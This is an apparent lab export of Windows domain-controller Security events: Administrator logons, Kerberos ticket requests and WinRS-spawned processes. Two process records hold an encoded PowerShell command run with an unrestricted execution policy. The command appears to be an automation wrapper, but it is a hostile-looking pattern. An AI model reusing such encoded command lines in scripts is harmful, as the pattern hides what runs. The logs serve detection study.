sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249913 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249912 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249911 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249910 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf28 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249909 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf28 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x958 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249908 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF0185 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249907 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF0185 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249906 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249905 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249904 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249903 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x958 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249902 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Process Information: - New Process ID: 0x958 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249901 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249900 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249899 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249898 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249897 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - 